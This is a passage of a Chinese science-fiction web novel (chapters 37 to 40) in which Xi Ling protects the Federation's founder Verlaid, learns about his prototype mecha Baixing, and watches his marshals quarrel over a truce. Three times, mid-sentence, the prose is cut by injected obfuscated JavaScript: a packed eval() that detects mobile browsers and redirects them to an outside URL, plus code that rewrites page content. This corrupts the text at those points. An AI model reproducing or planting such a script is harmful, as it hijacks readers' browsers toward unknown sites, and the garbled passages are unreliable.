维尔莱德想都没想,直接指向郗灵:“她干的!” 郗灵:“???” 贵族盯着维尔莱德甩锅的手指,毫不掩饰地冷笑一声,戴着白手套的手一把抓住那根手指,又猛地一拧—— 手术室里顿时响起了堪比杀猪的哀嚎。 夹在中间的芬迪尔左右为难,恨不得找个地缝钻进去。 贵族无视了疯狂挤眼泪的维尔莱德,摘下手上的白手套,向始终沉默的郗灵伸出一只布满伤疤的手。 “日安,女士。”他声线优雅,笑容无可挑剔,“我是以诺·冯·杜尚别,一个流淌着已故皇帝鲜血的罪人。请问,你叫什么名字?” 杜尚别校长…… 杜尚别元帅…… 他竟然是皇帝的后裔——这条消息,星网上连一点蛛丝马迹都没有! 郗灵怔怔地看着杜尚别。 她还记得和杜尚别的第一次通话:年老的他声线沉肃,说话时带着老人特有的浑浊呼吸,生命早已步入暮年,宛如一条沉寂的河流。 可眼前的杜尚别,即便口口声声自称“罪人”,神韵里却藏着挥之不去的傲慢与骄矜。 郗灵的目光落在身边悬浮的光球上。 就在杜尚别开口的瞬间,一直没动静的主考官终于有了反应。 她的眼前弹出了一条任务: 【找出以诺·冯·杜尚别背叛维尔莱德的原因(完成进度:0%)】 37. 国父,芬迪尔,杜尚别(二) 叶卡捷琳娜元帅剿灭了医院外的叛军,这场有预谋的叛变草草收尾。 但维尔莱德始终无法放下警惕。 他的医疗团队已尽数被收买,幸存者唯有郗灵一人。 然而,维尔莱德却一反常态地将郗灵留在身边,表面上美其名曰“让她将功赎罪”,真实目的却不曾明言。 是夜,芬迪尔守在门外。 郗灵坐在屋内唯一的小床上,顶着一双死鱼眼,看着维尔莱德撅着屁股在地上铺床。 这可真是太刺激了…… 连最烂俗的言情小说都不敢写这个画面——她睡床,国父睡地板! 她的身高不够,两条腿甚至碰不到地面,只能在半空中晃晃荡荡。 她的双手放在膝盖上,手心里,龙姬一边窸窸窣窣地振动,一边发出叽叽咕咕的歌声。 那歌声没有曲调,更像小动物的呢喃。 今夜本该月明星稀,偏偏乌云厚重,将月光严严实实地遮蔽。 中央星有三颗卫星,此刻,三个“月亮”竟全被云层挡住,这般景象属实罕见。 “我为什么要留在室内,芬迪尔留在这里显然更合适吧?”郗灵看着维尔莱德像鱼一样灵巧地钻进地铺,被子上打满了灰扑扑的补丁。 联邦可真穷啊,连被称作“国父”的维尔莱德,都盖不上一床新被子。 郗灵忍不住在心里默默感慨。 “恨我的人多着呢,要是把你留在门外,不出三分钟就会被人套麻袋暴揍一顿,最后填了石头沉尸喂鱼。”维尔莱德在被子里钻来钻去,解释的语气里带着几分漫不经心。 “您在转移话题。”郗灵直接戳破他的借口。 “我是个老色批,最喜欢看小姑娘像花朵一样年轻的脸庞了,不信你去问叶卡捷琳娜。” “您在转移话题。” “我就是个才满1岁的孩子,我不想一个人睡觉,我怕黑、怕鬼!” “您在转移话题。” “哈!”维尔莱德干笑一声,“行吧,我没招了。” 郗灵:“……” 沉默在室内蔓延。 良久,维尔莱德低声喃喃:“唉,我该怎么和你解释呢?” 室内没有开灯,先前被乌云遮蔽的月光本就微弱,此刻更是昏暗得连轮廓都看不清。 但郗灵拥有夜间视物的能力。 借助微弱的月光,维尔莱德脸上每一丝犹豫与挣扎,她都清晰地看在了眼里。 维尔莱德再次陷入沉默,或许在整理混乱的思绪,或许在纠结该从哪句话说起。 郗灵的目光悄然移开,落在了只有她能看见的虚空中。 那里悬浮着一行任务栏: 【找出以诺·冯·杜尚别背叛维尔莱德的原因(完成进度:0%)】 “你知道你手里的东西是什么吗?”维尔莱德终于开口。 郗灵收回落在任务栏上的视线,垂眸看向他:“知道,它是我的机甲,龙姬。” “机甲……哈,这是谁发明的词语?还挺贴切的。”维尔莱德轻笑一声,像条滑溜溜的泥鳅似的,在卷成筒状的被子里蠕动了几下。 他从怀里掏出个雪白的东西。 那是一枚和龙姬极其相似的机甲钮。 “它是我的机甲,白星。”维尔莱德躺在地上,那枚机甲钮埋在他乱糟糟的头发里,一动不动,“见到你的第一面我就想说了,你不是这个时代的人——因为迄今为止,全联邦只有‘白星’一台机甲。” 郗灵眼神一动。 白星是联邦所有机甲的原型机。 现在是新历元年,帝国覆灭后的第三个月。 联邦这个孱弱的人类政权,连和平都是奢望,更别提发展科技与经济,复刻或研发生物机甲了。 “帝国虽已灭亡,却留下了一堆烂摊子。”维尔莱德长叹一声,声音有些沉闷,还有些沙哑。 这位年轻的国父,即便在手术室遭遇暗杀时都意气风发。 可黑夜仿佛能消融人在社会中的身份,他短暂地卸下了“国父”的枷锁,从精神领袖变成了一个普通人。 他在郗灵的注视下轻声说: “我从没想过,毁灭一个帝国会有这么多麻烦。” “纳钰告诉我,帝国的财政就是笔烂账。那位被我斩下头颅的皇帝,凭一己之力掏空了整个国库——基建荒废、税制混乱、土地兼并、官员贪污……杀死一个人,不代表能解决这些问题!相反,皇帝一死,这些问题全都一股脑爆发了。” “还有军事……这个问题和外交是连在一起的。” “我们只掌控了中央星及其辖区,华麟和墨七杀正忙着收复第一扇区的其他星域。傅与枫顶着亡国的压力和机械帝皇谈判,但她说弱国无外交,临走前,她带上了六颗子弹,说若是和谈不成,就一起死在谈判桌上。” “公民们都在挨饿。曾经最体面的学者,如今天不亮就去大街上排队,争抢一份能糊口的工作……” “类似的问题,还有太多太多。” “我们需要力量,机甲就是我们最强大的力量,可白星……偏偏只有一个。” 郗灵捧着龙姬坐在床沿,悬空的脚尖对着维尔莱德的脸。 那张脸上没有泪水,可郗灵却从中看到了比滚烫的泪水还要灼穿灵魂的东西。 孤独。 国父的脸上,写满了孤独。 维尔莱德麾下的十位元帅,在帝国覆灭后,分别投身于政治、军事、经济、民生等领域。 他并非孤家寡人,相反,他拥有太多助力。 郗灵想起星网上对十位元帅的介绍——那简直是为新生联邦量身打造的“创业团队”,该有的角色一个不少。 维尔莱德再次沉默。 他小口小口地吸气,像个努力给自己降温的炸药桶,下一秒仿佛就要炸开。 郗灵捧着龙姬,低垂着睫毛凝视他的脸。 而后,她转过脸,望向窗外明净如洗的月光。 “您今晚睡得着吗?”郗灵问。 “睡不着。”维尔莱德没有撒谎,语气里带着藏不住的疲惫。 “我们去外面飞一圈吧。”郗灵建议道。 她觉得,在逼仄的室内施展话疗,根本没法让一个人的心情敞亮起来。 她说:“现在的联邦还没颁布有关制空权的律法,天空属于每一个有翅膀的人——我们是自由的!” 维尔莱德猛地一愣,显然没料到她会给出这个建议。 几分钟后,两台雪白的机甲,悄无声息地飞上了夜空。 维尔莱德的声音从“白星”的呼吸栅口传出。 他的机甲没法和龙姬建立同步通讯,只能用最原始的方式和郗灵交流:“芜湖!我起飞了!” 龙姬振动背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303476|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 部的机械六翼。 郗灵坐在驾驶舱中,不动声色地观察着白星的飞行姿势。 龙姬和白星虽然外观相似,飞行表现却完全不同。 龙姬背部的机械六翼,学名是“平衡翼”,主要作用是稳定飞行姿态,真正的飞行动力,来自火箭发动机和尾部的矢量推进器。 因此,当龙姬飞行时,总会不可避免地拖出一串星轨似的尾焰。 但白星不一样。 白星的六翼……是真的在“主动带动飞行”! 要是墨菲在这里,他一定会尖叫出声——这么庞大的机体,这么沉重的机身,单凭翼展不超过20米的六翼,怎么可能带动机甲飞起来? 可白星偏偏做到了! 它挥动六翼时,不知名的物质会以流动的状态覆盖在翅膀表面,一根根莹白的骨片组合成类似羽毛的结构。 当它在夜空中掠过时,翅膀扇动的沙沙声,既像响尾蛇摇动尾端的哨声,又像死神在漆黑的神国中悄然游曳时的轻响。 这就是国父的机甲,白星。 它是全联邦仅有一台的“机甲奇迹”,和它的主人一样身世不明,宛如天外来物。 郗灵观察白星时,维尔莱德也在观察龙姬。 他主动开口:“你的机甲……好像和我的不太一样。” “机甲”是个生造词,在新历元年,机甲尚未实现量产的时代,这个词语还未诞生。 因此,维尔莱德说出这个词时,发音有一点点生涩。 龙姬臭屁地抖了抖机械翼,准备迎接来自国父的赞美。 郗灵顺势接过话头,放低姿态问道:“您觉得哪里不一样?” “你的机甲……”维尔莱德斟酌着措辞,“好像有点半死不活的。” 龙姬:“……” 郗灵:“……” 龙姬立马就不高兴了,载着郗灵在空中上下冲刺,转了好几圈才平静下来。 郗灵被迫体验了一把过山车。 她浸泡在充满母液的驾驶舱里,像只泡在培养罐里的标本似的摇摇晃晃,耳边充斥着龙姬愤怒而有力的心跳声。 咚咚! 咚咚! 咚咚! “它活了!”龙姬撒完气飞回原位,维尔莱德惊喜地说,“我听到了它的心跳声!” 龙姬呼吸栅口下方的嘴巴,用力喷出了一大口蒸汽。 龙姬憋屈地生了场大气,郗灵急忙给它顺毛,一边安抚一边对维尔莱德问道:“您听得见它的心跳?” “它身上的铁皮太厚了。鸟翼系上了黄金,这鸟儿便永远不能再在天上翱翔了[1]。”维尔莱德解释道,“要是能脱掉它那身铁皮,它一定会飞得更快乐。” 脱掉拘束装甲…… 郗灵的脑中闪过一段不算美妙的回忆。 她想起了暴走的灰鹞——黎缨副官曾以一己之力拦下所有机械士兵,当时,灰鹞身上的拘束甲片片脱落,露出了鲜血淋漓的血肉与骨骼。 但白星显然没有穿戴拘束装甲,它体表的坚硬物质像是某种外骨骼。 比起龙姬,白星简直是在“裸奔”。 等等! 郗灵眉头一皱。 拘束装甲…… 龙姬身上——不,全联邦所有的生物机甲身上的装甲,为什么要以“拘束”命名? 难道,是为了抑制暴走? 38. 国父,芬迪尔,杜尚别(三)^^…… 这个问题一旦从心中冒起,就再也无法按捺下去了。 这趟飞行之旅一下子失去了兜风的本意。 郗灵默默思考着这个问题,驾驶机甲龙姬跟在白星身后,飞行时难免有些心不在焉。 等二人落地时,上半夜早已过去,三个月亮开始西沉,留给他们的睡眠时间只剩下不到四个小时。 维尔莱德飞了一路反倒神清气爽,落地后便蜷着身子钻进地铺,脑袋刚沾上枕头就沉沉睡了过去。 郗灵伸手拨了拨龙姬的机甲钮,给维尔莱德套了一层聚能护盾。 但她没有入睡。 她盘着腿坐在床沿,盯着维尔莱德的后脑勺。 明净的月光照亮了她的轮廓,却照不亮她眼底深处翻涌的思索与迷惘。 ——“机甲”是什么? ——“暴走”是什么? ——“拘束装甲”又是什么? 第二天天亮,维尔莱德开启了忙碌的行程。 联邦正值百废待兴之际,昨天那场惊险的暗杀,对维尔莱德而言,竟然算得上是一种“消遣”。 郗灵以助手的身份跟在他身边,看着这位年轻的国父在中央星四处奔走。 维尔莱德拥有机甲“白星”,能带着他在全中央星各处飞行,最忙碌的时候,他一天要飞十几个地方。 如今,联邦的领土仅有中央星及其辖区,华麟元帅与墨七杀元帅,正在联邦边境和其他政权争夺地盘。 维尔莱德需要稳住后方,以安定前线将士的军心。 短短三天里,郗灵跟着维尔莱德,在八位元帅、五十七位上将和一众官员面前混了个脸熟。 没人多嘴问她是谁——或许是副本设定里的“补丁”在起作用,又或许是那些身居高位的大人物,根本懒得探究她这种“小人物”的来历。 一开始,维尔莱德只是对郗灵很感兴趣,因此才把她带在了身边。 但很快,维尔莱德发现,自己竟然越来越离不开郗灵了。 未来的芬迪尔教给了郗灵许多操控机甲的小技巧,其中就包括通过机甲钮释放聚能护盾。 这三天的奔波里,郗灵正是用这个技巧,为维尔莱德挡下了数十次刺杀。 “你那个……半透明的护盾叫什么?”又一次躲过刺杀后,维尔莱德终于忍不住问。 郗灵捏着机甲钮,视线落在维尔莱德身上的半透明护盾上。 龙姬的护盾又一次为维尔莱德挡下了一枚致命的子弹。 那枚子弹被护盾拦截,留下了一个黑色的圆形灼痕。 郗灵没有急于解除护盾。 她看着亲卫队将刺杀者的头颅斩下,鲜血从脖颈的断口汩汩淌在地上,像一条活过来的红蛇,贴着地面慢慢爬动,一点点沾湿了她和维尔莱德的鞋底。 “这是聚能护盾。”等这片区域清理干净后,郗灵回答了国父的问题。 “又是未来的黑科技?” “是的。” 维尔莱德忽然笑了。 “真神奇啊,未来的联邦一定变得很好吧?”他的眼底藏着一丝不易察觉的疲惫,“不像现在,所有人都在饿肚子,累死累活却看不到明天。” 郗灵沉默不语。 ……未来的联邦很好吗? ……也许吧。 维尔莱德观察着郗灵脸上的表情。 他的眼睛微笑着弯起,语气却骤然变得坚定:“你来自未来,就说明我们现在的奋斗和努力没有白费——联邦一定能撑到拥有未来的那一天!” 这时,亲卫的手忽然一滑。 刺杀者死不瞑目的脑袋“啪嗒”掉在地上,咕噜噜滚到了维尔莱德脚边。 亲卫的脸上残存着几分怒色,但脑袋滚落的一瞬间,他立刻紧张地看向维尔莱德。 维尔莱德的目光落在那颗血淋淋的脑袋上。 他沉默片刻,弯腰捡起那颗脑袋,用拇指轻轻擦去上面的血污。 在亲卫和郗灵的注视下,他的眉毛微微皱起,眼睛眯成一条缝,脸上的表情说不清是愤慨,还是某种复杂的怀念。 “……又是一个老熟人。”维尔莱德嘴唇蠕动,终究没有说出刺杀者的名字,“没想到,他竟然也背叛了我。” 他的语气里没有半分“意外”的情绪。 郗灵凝视着维尔莱德的脸。 这个看似豪放粗犷的男人,此刻的表情竟然平静得像一池死水。 是因为习惯了? 还是因为被伤透了? “白星也可以学习聚能护盾。”郗灵张了张嘴,对维尔莱德提议道。 聚能护盾是拘束装甲的标配功能之一。 只要成功研发出拘束装甲,白星就能搭载护盾,维尔莱德也不必时刻担心遭遇刺杀。 但维尔莱德当即大笑着回绝。 “我可不打算让白星穿上那身铁皮!”他的语气里满是对“拘束装甲”的排斥。 郗灵没有再劝。 她不太理解维尔莱德的想法。 星网百科里的维尔莱德,是极尽荣光的伟大国父,是全银河最后的希望。 可活着的维尔莱德,却像一块裹满蜜糖的肉,每个躲在暗处的人,都想冲上来狠狠咬上一口。 被背叛是他的宿命,被刺杀更是他的日常。 这样的情况下,为什么还要拒绝能增加防护的拘束装甲? 就在这时,一个通讯兵背着笨重的通讯设备,背上的天线晃得厉害,跌跌撞撞地朝维尔莱德跑来。 他几乎是吼着汇报:“傅与枫元帅谈判回来了!!她、她——她和机械帝皇谈成了!联邦和机械军团的战争,结束了!” 战争结束了! 郗灵发誓自己没有看花眼——听到这句话的瞬间,维尔莱德的眼眶一下子就红了。 他连声音都变得沙哑:“傅与枫现在在哪儿?” “傅元帅在帝国皇宫——就是您之前说,要改造成联邦总统府的地方!” “走,我们回去!”维尔莱德一刻也等不及,立刻掏出机甲钮,将白星从里面释放出来。 白星没有穿戴拘束装甲,取而代之的,是一层反射着温润光华的外骨骼。 它缓缓打开颈部的外骨骼,露出里面直连机甲脊椎的驾驶空洞。 维尔莱德动作灵活地钻了进去,那层外骨骼立刻飞快收拢,将他稳稳裹在其中。 下一秒,白星放低一只宽厚的手掌,朝郗灵伸了过来。 “▓▓▓▓▓”白星低声说。 这是白星第一次和郗灵“对话”,可郗灵一个词也听不懂。 她仰起头,目光静静落在白星巨大的脸庞上。 ——白星啊。 ——身为后世所有机甲的原型机,你究竟是怎样的存在? * 原帝国皇宫,现临时总统府,国父和十位元帅齐聚“翡翠厅”,激烈的争吵声在空旷的大殿内回荡。 翡翠厅曾是皇帝召见臣子的地方,维尔莱德与麾下十位元帅,正是在这里斩下了最后一位皇帝的头颅。 如今,那染血的王座已被擦拭干净,上面镶嵌的金片、银片与各色珠宝全被抠了下来,露出龙骨般光秃灰白的底座。 郗灵和芬迪尔一左一右守在翡翠厅大门外。 芬迪尔竖起耳朵听着里面的动静:“叶卡捷琳娜元帅和杜尚别元帅又吵起来了。” 郗灵正无所事事地盘弄着机甲钮,闻言抬头道:“怎么说?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16308490|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“他们都不满意傅与枫元帅和谈的结果——联邦和机械军团联手攻打第一扇区的其他政权,作为回报,机械帝皇会拿到第一扇区二十年的采矿权。” 翡翠厅里的声音很模糊,但芬迪尔捕捉到零星几个词,就能补充出完整的意思:“杜尚别元帅不肯让步,想要继续打,叶卡捷琳娜元帅却支持这个决定,因为联邦已经打不起了。” 郗灵凝视着芬迪尔年轻的脸庞:“你好像很熟悉他们的说话风格?” “那当然,我可是最早追随维尔莱德的人。”芬迪尔露出了自豪又羞涩的笑容。 哦?有故事! 郗灵立马停下盘弄龙姬的动作,双手捧着脸凑到芬迪尔跟前,一下下眨着眼睛,暗示他讲讲自己和国父的过往。 芬迪尔往后缩了缩脖子:“别来,我不吃这一套!” 郗灵:“……” 她盯着芬迪尔渐渐泛红的脖颈和耳尖,心想:还是未来的老芬迪尔更经得起逗弄。 郗灵缩回上身,重新低头盘弄龙姬。 芬迪尔抱着枪,后背倚在墙壁上,四十五度仰望天空。 那天空被翡翠厅华丽的穹顶遮蔽了一大半,只漏出一抹明丽的蓝。 他忽然开口,语气带着几分深沉:“维尔莱德,是在马厩里出现的。” 郗灵盘机甲钮的动作顿了一下:“……” 她知道,大人物都爱给自己编排天降异象的出身,比如出生时漫天红霞,或是母亲梦见双龙伴日坠落。 听芬迪尔这语气,难不成国父还是遗落人间的“圣子”? “我没撒谎!”芬迪尔加重了语气。 他的指尖摩挲着枪身,那上面的老茧不是握枪磨出来的,而是属于劳动者的印记,藏着这双手饱经疾苦的过往。 “那时我还是个农奴。”芬迪尔说,“那天夜里,我正给男爵主人的马刷洗鬃毛,一个黑乎乎的东西突然砸穿马棚顶,掉在了我刚刷干净的马背上。” 郗灵睁着一双死鱼眼:“……” 未来的芬迪尔很擅长一本正经地胡扯,看来年轻时的他也是这种性子。 她深吸一口气,追问道:“然后呢?” “就在那天夜里,维尔莱德杀了我的男爵主人,给了领地里所有农奴自由。”芬迪尔的目光变得缥缈又遥远。 他凝望着虚空,仿佛凝望着再也回不去的从前: “一半的农奴吓跑了,他们不知道没了主人该怎么活,转头就把自己卖给了另一位男爵。但还有另一半农奴,包括我在内,拿着锄头和草叉跟上了维尔莱德。” “我们放了一把火,烧光了带不走的珠宝,跟着他往外走。” “那时候他驾驶着白星,走得踉踉跄跄的,像刚学走路的婴儿。” “他说,那个方向是首都;他说,他要给所有人自由。” “我们既不知道什么是‘首都’,也不知道什么是‘自由’——我们只知道那个该死的男爵死了,他再也不会把我们吊起来打了。” “那晚的月光像最好的食盐一样白,白得晃眼睛。我们原本沉默地走着,但走着走着,突然有人唱起了歌。” “脚下的路被月亮照得亮晃晃的,既没有石子,也没有蒺藜——泥土都被白星踩得又软又结实,那是我们这辈子走过的最亮的路。” 芬迪尔的故事戛然而止。 郗灵不知不觉停下了盘弄龙姬的动作。 她正想开口问些什么,但一声震耳的枪响突然炸开了! 那枪响打断了翡翠厅里的争吵! 那枪响——在翡翠厅中响起! 翡翠厅里,此刻只有国父和十位元帅。 郗灵与芬迪尔对视一眼,两人的脸色瞬间变得惨白。 39. 国父,芬迪尔,杜尚别(四)^^…… 下一秒,郗灵和芬迪尔破门而入。 翡翠厅内响起枪声,只有两种情况: 一是有人躲过了外面五步一岗的士兵,在厅内实施刺杀! 二是十位元帅中有人起了异心,将枪口对准了国父! 郗灵下意识把维尔莱德当成了受害者——因为这三天里,维尔莱德遭遇刺杀的次数比呼吸还要频繁。 可是,当郗灵第一个冲进翡翠厅时,看到的却是完全出乎她意料的一幕: 年轻的杜尚别身着精致礼服,仿佛那个辉煌的帝国从未覆灭,而他正身处一场皇宫内的盛大晚宴。 他以标准的姿势握着一把手枪,枪口还在徐徐冒着白烟。 那枚子弹并未射中任何人,而是射向了翡翠厅高处的王座。 那王座在剥去所有金银珠饰之后,露出了苍白如龙骨的基底,椅背上新添的漆黑弹孔正冒着白烟,周围蔓延开蛛网状的裂纹,让王座出现了不可逆的损伤。 以杜尚别为中心,其余九位元帅在会议圆桌旁或坐或立,脸上表情精彩纷呈,却都透露着同一句话。 ——这个人疯了! 郗灵和芬迪尔破门而入后,厅内死寂的气氛终于流动起来。 杜尚别仍然维持着举枪瞄准王座的姿势,浑身却在小幅度颤抖。而本该是焦点的维尔莱德,此刻却像一道灰扑扑的影子站在不远处的角落。 剥去了鎏金的立柱投下阴影,遮住了维尔莱德的脸庞,他的表情因此隐在暗处,唯有一双眼睛反射着扑朔的水光。 翡翠厅外的士兵呼啦啦涌进来,见到殿内僵持的情景,全都顿在原地。 叶卡捷琳娜元帅端起冷掉的茶水,吹了吹杯口的浮沫,慢慢喝了一口。 随后,她冷笑一声:“以诺,瞧瞧你干的好事。” 杜尚别的全名是“以诺·冯·杜尚别”。 叶卡捷琳娜元帅用名字而非姓氏称呼他,绝非因为二人关系亲密,相反,说他们势同水火也毫不夸张。 杜尚别深吸一口气,像是从梦魇中缓过神来,颤抖着放下了手中渐渐冷却的手枪。 维尔莱德从阴影里走出,随意拉开一把椅子坐下。 他对乌压压涌进来的士兵挥了挥手:“这里没你们的事了,出去吧。” 顿了顿,他伸出手指:“你们两个,留下。” 被指到的郗灵和芬迪尔对视一眼,自觉地走到维尔莱德身后。 进入翡翠厅前,郗灵就已经把龙姬从腰间揣进了口袋。 她的指尖暗暗摩挲着龙姬,随时做好开启护盾的准备。 站着的几位元帅收起脸上丰富的表情,闭紧嘴巴,纷纷拉开椅子坐下。 维尔莱德没有坐自己的位子。 他的位子本在会议圆桌的首位,可如今,上首处的那把椅子拉开了一半,空在那里,杜尚别正站在椅子旁边。 他的上方是苍白枯槁的王座,他的下方是联邦首脑的圆桌。 除去王座,偌大的翡翠厅里只有十一把椅子。 维尔莱德随意坐了一个元帅的位子,被抢了座位的元帅既没有去坐杜尚别的位子,更不可能去坐国父的位子,干脆一屁股坐在了桌沿上。 郗灵认出了这位坐在桌沿上的元帅。 她叫纳钰,负责联邦的财政工作。 纳钰元帅身边放着两个本子,一个是会议本,一个是账本,此刻,她悄悄把账本从会议本下抽出来,一边咬着笔头,一边低头算账。 ……果然强者从不抱怨环境,无论在哪儿都能打工。 郗灵偷偷瞄着纳钰在账本上勾勾划划。 可另一边,杜尚别和叶卡捷琳娜再次爆发了争吵。 “我不赞成傅与枫的决定。”杜尚别深吸一口气,双手“啪”的一声撑在桌面上,“跟机械帝皇合作,这和背叛人类有什么区别?” “这不是背叛。”叶卡捷琳娜放下茶杯,“这是不得已而为之。” “放你X的屁!”杜尚别勃然大怒。 九位元帅齐齐抬起头,连正在低头算账的纳钰也投去了目光。 “是,我知道你想说什么!攘外必先安内,哪怕机械帝皇和我们有血海深仇,我们也必须忍辱负重和仇人合作,好换取一丝喘息之机。” 杜尚别是真的怒了。 他说话时咬牙切齿,额头上的青筋都爆起了好几根:“可你这么做,让联邦公民怎么想?让那些看我们笑话的其他政权怎么想?卑躬屈膝、谗言献媚,像条讨要残羹冷炙的狗似的围在机械帝皇脚边,祈求那莫须有的和平——你以为这样做,人类就会有明天?可你要是真这么做了,人类永远等不来明天!” 叶卡捷琳娜神色冰冷:“你知道我们的军队还剩下多少人吗?” 杜尚别沉默片刻,答道:“100万人。” “是102万7351人。”叶卡捷琳娜用两根手指捏着茶杯杯柄,指节因用力而微微泛白。 她极力压抑着怒火,可盛怒还是透过冰冷的面容显露了出来: “如今,联邦只剩100万军队,这个数字还在以每天1000人的速度减少。但第一扇区的其他政权呢?单说最‘弱小’的美第奇政权,他们都有至少200万大军!” “你说接着打,说一拳打得百拳开,可我们拿什么跟别人打?” “联邦必须休养生息,哪怕要付出割肉的代价!” “你的理想多高洁啊,高洁到好像只要有人反对,就是全人类的罪人!” “可如今的联邦,给了公民什么?” “贵族全被抄了家,日子穷得叮当响!” “平民还是饥一顿饱一顿,连锅灰都铲下来舔干净,就差把地里的种子刨出来吃了!” “奴隶们虽然获得了自由,可从前他们挨打至少有饭吃,现在呢?他们吃过一顿好饭吗?穿过一件好衣服吗?” “清醒一点吧,旧时代的少爷!” “公民不是你实现理想的道具,更不是任人摆弄的傀儡!他们是会思考的人!” “帝国能被推翻,联邦当然也能!” “你以为你的气节能当饭吃?你以为你的傲骨能当药医?你以为,你演讲时掉几滴眼泪,就能让所有公民跟着你抛头颅洒热血,牺牲自己的命来成全你的大业?” 叶卡捷琳娜说到这里,再也维持不住冰冷的表情,手指“咔嚓”一声捏断了茶杯柄,腾地一下站起身。 茶杯柄的锋利碎片割破了她的手指。 她伸出染血的手,愤怒得连指尖都在颤抖,直指向杜尚别的面庞。 “你好意思骂我满嘴放屁?”叶卡捷琳娜暴怒地低吼,“你他X的才是满嘴放屁!” 郗灵站在维尔莱德身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319524|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,把这场酣畅淋漓的骂战听得明明白白。 她的指尖摩挲着口袋里的机甲钮,思绪不由得飘向远方,飘向数十年后——新历47年那个繁荣至极的联邦。 ——新历元年的联邦,和新历47年的联邦,究竟哪一个更好? ——她说不清楚,恐怕最学识渊博的历史学家也说不清楚。 叶卡捷琳娜和杜尚别,是整场会议中最针锋相对的两个人。 这场骂战后,两人都陷入了短暂的沉默,两双微微泛红的眼睛用力地互相瞪视,像两头在领地边缘对峙、谁都不肯先低头的巨龙。 众目睽睽之下,杜尚别的手再次搭上了腰间的枪柄! 芬迪尔倒吸一口凉气。 “吾友,”维尔莱德突然开口,“你心中所愤怒、所烦恼、所渴望的,究竟是什么?” 十位元帅都是国父的肱骨心腹,可放眼望去,能被国父叫一声“吾友”的,唯有以诺·冯·杜尚别。 杜尚别的手已经按在了腰间的枪柄上。 他没有拔枪,礼服下的胸膛还随着粗重的呼吸一起一伏。 但维尔莱德的话音刚落,他便缓缓扭头看向对方,剧烈的喘息一点点平复,按在枪柄上的手指微微卸力,一点点松开了露在枪鞘外的部分。 他轻声道:“……我在听。” 郗灵站在维尔莱德左后侧——那是最接近后者心脏的位置,连坐在桌沿上的纳钰都比她远些。 她安静地捏着机甲钮,垂着眼眸细听那旁人听不见,在她耳中却震耳欲聋的巨响。 咚咚! 咚咚! 咚咚! “你一直在逃避一个话题。”维尔莱德老辣地戳破了杜尚别的心思,“你逃避的,是不相信未来的联邦能强大起来,更不相信它喘息之后,会拥有和机械帝皇翻脸的实力。” 杜尚别沉默,叶卡捷琳娜沉默。 十位元帅都陷入了死一般的沉默。 维尔莱德的话不多,却直指问题的核心—— 联邦,还有未来吗? 如果联邦没有未来,此刻不如轰轰烈烈地死去,至少还能换一个壮烈的美名。 可如果联邦有未来,这未来又值得他们割下多少髀肉、出卖多少尊严、折断多少傲骨? “白璐元帅。”维尔莱德低声唤道,“请你测算一下:若我们和机械帝皇合作,收复第一扇区需要多久?机械帝皇老老实实履行20年采矿权,不与联邦爆发冲突的概率,又有多大?” 白璐全程在打瞌睡。 听到维尔莱德的声音,她抬起兜帽下睡得迷糊的脸,半梦半醒地望向会议圆桌上的同僚们。 “收复第一扇区,最多只要五年。”白璐答道,“至于机械帝皇和我们和平相处的概率——是0%。” 0%。 一个残忍又现实的数字。 郗灵垂眸沉思,维尔莱德再次开口:“如果我把白星交给你,你能在第一扇区完全收复前,成功复刻出第二个、第三个,乃至无数个‘白星’吗?若能做到,联邦与机械帝皇谈和的概率又会有多大?” 会议圆桌上首处,杜尚别的呼吸猛然一滞。 滴滴! 郗灵死死盯着虚空中的任务栏。 【找出以诺·冯·杜尚别背叛维尔莱德的原因(完成进度:50%)】 40. 国父,芬迪尔,杜尚别(五)^^…… 任务完成度一下子提升了50%! 郗灵的目光牢牢锁定在维尔莱德的后脑勺上,表面上维持着一贯的平静,胸腔里却像有风暴在肆虐。 她绝不会记错,维尔莱德刚刚说出的最后一个关键词是——白星! 她太清楚维尔莱德对拘束装甲的厌恶了,那种排斥几乎刻进了他的骨子里。 可人类若想驾驭“白星”这样的特殊生命,拘束装甲是唯一已知的手段。 但现在,维尔莱德竟然松口了! 这个认知让郗灵的心跳漏了半拍。 她还没来得及细品背后的用意,一道突兀的声音骤然划破了会议室内涌动的氛围。 “为什么?” 是杜尚别。 他的声音里没有半分同僚们的欣喜,反而裹着一层令人窒息的寒意,尾音甚至带着难以掩饰的细微颤抖。 那声音根本不像正常人类发出的,更像猎物被猛兽的獠牙抵住喉咙时,拼尽全力从气管里挤出的、夹杂着尖锐气流的哀鸣。 郗灵猛地抬头望去,只见平日里骄矜从容的杜尚别,此刻的脸色竟然惨白如纸。 ——他在恐惧。 ——可他到底在恐惧什么? 她扫了眼周围。 